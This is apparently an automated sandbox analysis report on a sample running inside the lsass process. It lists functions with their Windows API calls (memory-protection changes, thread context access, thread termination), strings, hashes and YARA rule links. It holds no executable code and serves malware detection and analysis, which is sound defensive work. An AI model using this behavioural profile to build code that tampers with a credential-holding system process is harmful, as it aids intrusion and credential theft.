Instruction ID: 08d3d89060055010cc9f927f2846b741d570c307bee51878ed60177e71e4ad34
Opcode Fuzzy Hash: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction Fuzzy Hash: F4116D22310B40C6F7908B52E89C75D66A4F788FE8F164227EB5E877A6DF39C9088744

Function 00000202C0AE3BC0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000202C0AE365F), ref: 00000202C0AE3BCE
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE365F), ref: 00000202C0AE3BFC
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE365F), ref: 00000202C0AE3C1E
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE365F), ref: 00000202C0AE3C39
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE365F), ref: 00000202C0AE3C5A

Strings

wr, xrefs: 00000202C0AE3C2F

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction ID: 76476dfaa64f7254c59cc74631256a4baa4f38b64316a815edb2c724ca880be3
Opcode Fuzzy Hash: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction Fuzzy Hash: F7117C26304780C2FB649B26E48C66D6365F788B94F26442BDF9D03765EF3EC55C8704

Function 00000202C0AE5F60 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5F9B
GetThreadContext.KERNEL32 ref: 00000202C0AE6105

Part of subcall function 00000202C0AE5D90: GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5D94

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction ID: d96f967ab6355dfa8b00f5612883c3689d3872b8cdd91b00a9807c55c3fa80d2
Opcode Fuzzy Hash: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction Fuzzy Hash: 88D19976209B88C6EA70DB1AE49835E77A4F388B88F110517EBDD47BA6CF38C555CB40

Function 00000202C0AE31CC Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,00000202C0AE22ED), ref: 00000202C0AE31EF
HeapAlloc.KERNEL32(?,?,?,?,?,00000202C0AE22ED), ref: 00000202C0AE3202
StrCmpNIW.SHLWAPI(?,?,?,?,?,00000202C0AE22ED), ref: 00000202C0AE3277
GetProcessHeap.KERNEL32(?,?,?,?,?,00000202C0AE22ED), ref: 00000202C0AE32DD
HeapFree.KERNEL32(?,?,?,?,?,00000202C0AE22ED), ref: 00000202C0AE32EB

Strings

dialer, xrefs: 00000202C0AE3270

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction ID: 99af3d401576157a454257e503e42e9700416411c5c03856acd84e38266f80dd
Opcode Fuzzy Hash: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction Fuzzy Hash: B1318F23705B91C2FA50DF56E58C7AD63A0BB64B84F0A41278FD847B56EF34D4798300

Function 00000202C0AED3D0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00000202C0AEDAE5,?,?,?,?,00000202C0AEDBA8), ref: 00000202C0AED3DF
FlsSetValue.KERNEL32(?,?,?,00000202C0AEDAE5,?,?,?,?,00000202C0AEDBA8), ref: 00000202C0AED415
FlsSetValue.KERNEL32(?,?,?,00000202C0AEDAE5,?,?,?,?,00000202C0AEDBA8), ref: 00000202C0AED442
FlsSetValue.KERNEL32(?,?,?,00000202C0AEDAE5,?,?,?,?,00000202C0AEDBA8), ref: 00000202C0AED453
FlsSetValue.KERNEL32(?,?,?,00000202C0AEDAE5,?,?,?,?,00000202C0AEDBA8), ref: 00000202C0AED464
SetLastError.KERNEL32(?,?,?,00000202C0AEDAE5,?,?,?,?,00000202C0AEDBA8), ref: 00000202C0AED47F

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction ID: 8509bfb80ec8658d273bd47baca1274ffcff585c98ac53122ec09b9a895d6eee
Opcode Fuzzy Hash: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction Fuzzy Hash: 8E117F603053C0C2FE58A331A5DD32D2152AB58BF4F16472BEEBA0B7D7DE3898698200

Function 00000202C0AE3B0C Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000202C0AE36B0), ref: 00000202C0AE3B28
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE36B0), ref: 00000202C0AE3B36
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE36B0), ref: 00000202C0AE3B58
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000202C0AE36B0), ref: 00000202C0AE3B76
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000202C0AE36B0), ref: 00000202C0AE3B97
TerminateThread.KERNEL32(?,?,?,?,?,00000202C0AE36B0), ref: 00000202C0AE3BA6

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction ID: ba41eaa8c83972b9c2955fdfe08bff1180164c354a4b3d26cc7be016e8e0f4c2
Opcode Fuzzy Hash: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction Fuzzy Hash: E3012D66611B44C2FB259B21E88CB1D63A4BB58B45F15452BCF4E06766EF3EC45C8700

Function 00000202C0AE9418 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AE9443
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AE94D8
RtlUnwindEx.NTDLL ref: 00000202C0AE9527

Strings

csm, xrefs: 00000202C0AE94BE
f, xrefs: 00000202C0AE9456

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 124d9c0b905e6e6f2e62f9bd05bcfd16d2c666ef5833f5a39d15387171bb82e0
Instruction ID: c8981e0f0a630bc073eb3ea058f46c82ddab3b636a20e53b92a1993270bb8627
Opcode Fuzzy Hash: 124d9c0b905e6e6f2e62f9bd05bcfd16d2c666ef5833f5a39d15387171bb82e0
Instruction Fuzzy Hash: D951BE32211B80CAFB15CB25E48CB5D3799F340B88F528127EFA64778AEB35D859C718

Function 00000202C0AB8835 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AB8843
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AB88D8

Strings

f, xrefs: 00000202C0AB8856
displacement map', xrefs: 00000202C0AB88D1
csm, xrefs: 00000202C0AB88BE

Memory Dump Source

Source File: 00000046.00000003.1782562643.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_3_202c0ab0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: 357e8c5ba4c628fba0ea65205fc2ee46afd9b4b5c85d8310afd22e6c4a784821
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: 0E518C32612700CAFB68CB29E48CB2D3B95F344BD8F528127DB564778AEB35D989C705

Function 00000202C0AB8818 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AB8843
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AB88D8

Strings

f, xrefs: 00000202C0AB8856
displacement map', xrefs: 00000202C0AB88D1
csm, xrefs: 00000202C0AB88BE

Memory Dump Source

Source File: 00000046.00000003.1782562643.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_3_202c0ab0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction ID: 5f0c297950effa524e4e769826351e9490e2c10184b4866aaa5f5598b7c48bd8
Opcode Fuzzy Hash: 83240c1be95a85a2168ddca1a7ce1f874f475d626e55e81d58b9bdf2105a26fb
Instruction Fuzzy Hash: B6313832211B40D6FB189F29E88C72D3BA4F740BD8F568117AF9647786DB39C989CB04

Function 00000202C0AE330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,00000202C0AE2576), ref: 00000202C0AE332E
StrCpyW.SHLWAPI ref: 00000202C0AE333E
StrCatW.SHLWAPI ref: 00000202C0AE334A
PathCombineW.SHLWAPI(?,?,00000000,00000202C0AE2576), ref: 00000202C0AE3358

Strings

\\.\pipe\, xrefs: 00000202C0AE3324

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction ID: c0dfb120e46251c085cc94f704bf45e2a309e4c6bc03487b974fea887a0dcd36
Opcode Fuzzy Hash: e19f02f46d5f5175cba9bea6f0663c254bbceec99479fcaac31b51916b51a9ba
Instruction Fuzzy Hash: 6FF08262304B80D1FA109B13B98C11D6265BB48FC0F095133EF6A0BB2ACF2CC4598700

Function 00000202C0AEC0C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000202C0AEC0ED
GetProcAddress.KERNEL32 ref: 00000202C0AEC103
FreeLibrary.KERNEL32 ref: 00000202C0AEC12A

Strings

mscoree.dll, xrefs: 00000202C0AEC0E4
CorExitProcess, xrefs: 00000202C0AEC0FC

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction ID: dacdeb2503ec733809480f479b6f78915991b8d7b867b1ce9d4656bbfd3250fd
Opcode Fuzzy Hash: 98eb24e4d57f1585c54f2d3d16aa4b08ded3b1fa128793edf9192e1fe004f7b7
Instruction Fuzzy Hash: E6F06D66311B01D1FE148B28E8CC36D6324AB887A5F96031BDBAA462F6DF3EC14DC300

Function 00000202C0AE5500 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5586

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction ID: 63aee3b9ec5174f52814ecfeb468680f3888a9a911f3f45aacd3126e13378fbb
Opcode Fuzzy Hash: 758a31af71cbbd98710326f5d5dd73fd8f3faa0c353224d70a8a3d8e98f497e1
Instruction Fuzzy Hash: B2029432219BC4C6EAA0CB55F49875EB7A0F384794F114517EBDE87BAADB78C458CB00

Function 00000202C0AE5B40 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5B56

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction ID: 8c1f0d9c981ea39f0d9591dff87f0d10d2555c98087178cb1a019aaa009f7cd6
Opcode Fuzzy Hash: a4c708464c669e8ac6b2107c0414dd5148c6b67da4caf1212569ceb4eb7b4d9f
Instruction Fuzzy Hash: 9061A462619B84C6F664CB25F49C71E77A0F388B88F110117EBDE47BA6DB78C5588B40

Function 00000202C0AC3934 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000202C0AC395C
_set_statfp.LIBCMT ref: 00000202C0AC3977
_set_statfp.LIBCMT ref: 00000202C0AC3993
_set_statfp.LIBCMT ref: 00000202C0AC39CF

Memory Dump Source

Source File: 00000046.00000003.1782562643.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_3_202c0ab0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 9afaf77a51172dfa547c055fa4850f67a3c3b84cf19cedfec98b2ce3f0a1e798
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: C311C633A5CF00C5FA641568E4EE36D10407B54374F070A37AB76162EBCBBA884C8104

Function 00000202C0AF4534 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000202C0AF455C
_set_statfp.LIBCMT ref: 00000202C0AF4577
_set_statfp.LIBCMT ref: 00000202C0AF4593
_set_statfp.LIBCMT ref: 00000202C0AF45CF

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: f70bf82c5cceb02d6e10d5093806def2d0eaeb57d5b80097f07828bafbb9e1e9
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 6F118233A14B11CBFA583268E4DE36D11816B58378F4B4637AB76067E7CB3A8C4D8208

Function 00000202C0AEAE4C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000202C0AEAE98
_CallSETranslator.LIBVCRUNTIME ref: 00000202C0AEAEE7

Strings

RCC, xrefs: 00000202C0AEAEB5
MOC, xrefs: 00000202C0AEAEAC

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction ID: 414ef94bc0d89e96803b88d928f4e21485ea40797e4d0dc57dbd216fb8bb788f
Opcode Fuzzy Hash: 05fb19cb5d958d360e5f46d501e280b4416caeae58329d8bd7a5de4c8cbcf2a2
Instruction Fuzzy Hash: 0D615876600B84CAF720DF65D48839E77A0F355B88F054217EFA917B9ADB38E5A9C700

Function 00000202C0ABA5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0ABA5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000202C0ABA6B8

Strings

csm, xrefs: 00000202C0ABA70A
csm, xrefs: 00000202C0ABA5F2

Memory Dump Source

Source File: 00000046.00000003.1782562643.00000202C0AB0000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_3_202c0ab0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 9b7bf021ba2a726e85ca9365be4a1c125000aa5d10ce3b8ffd8aef1fa681eda9
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: 30515A72204780CAFB748F26959C35C77A0E364B94F1A5217DB9987BD6CB38D4A9CB00

Function 00000202C0AEB1A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AEB1D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000202C0AEB2B8

Strings

csm, xrefs: 00000202C0AEB30A
csm, xrefs: 00000202C0AEB1F2

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942887947.00000202C0B03000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942943407.00000202C0B09000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 4355c71fb95ee1ef40e57e6e02147f1081f46168938f00ea2bed68f88a9d16f9
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: 2B517C321107C1C6FB648B15A4CD35E77A0E755B84F164217DBE98BBD6CB38D869CB01

Function 00000202C0AE3554 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000202C0AE3576
StrStrW.SHLWAPI ref: 00000202C0AE3594
StrToIntW.SHLWAPI ref: 00000202C0AE35BB

Part of subcall function 00000202C0AE1934: OpenProcess.KERNEL32 ref: 00000202C0AE195A
Part of subcall function 00000202C0AE1934: K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE1978
Part of subcall function 00000202C0AE1934: PathFindFileNameW.SHLWAPI ref: 00000202C0AE1987
Part of subcall function 00000202C0AE1934: lstrlenW.KERNEL32 ref: 00000202C0AE1993
Part of subcall function 00000202C0AE1934: StrCpyW.SHLWAPI ref: 00000202C0AE19A6
Part of subcall function 00000202C0AE1934: CloseHandle.KERNEL32 ref: 00000202C0AE19B4

Part of subcall function 00000202C0AE3C74: StrCmpNIW.SHLWAPI(?,?,?,00000202C0AE254B), ref: 00000202C0AE3C8C

Strings

pid_, xrefs: 00000202C0AE356C

Memory Dump Source

Source File: 00000046.00000002.2942740683.00000202C0AE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Associated: 00000046.00000002.2942686217.00000202C0AE0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942785956.00000202C0AF6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000046.00000002.2942842412.00000202C0B01000.00000004.00000001.00020000.00000000.sdmpDownload File
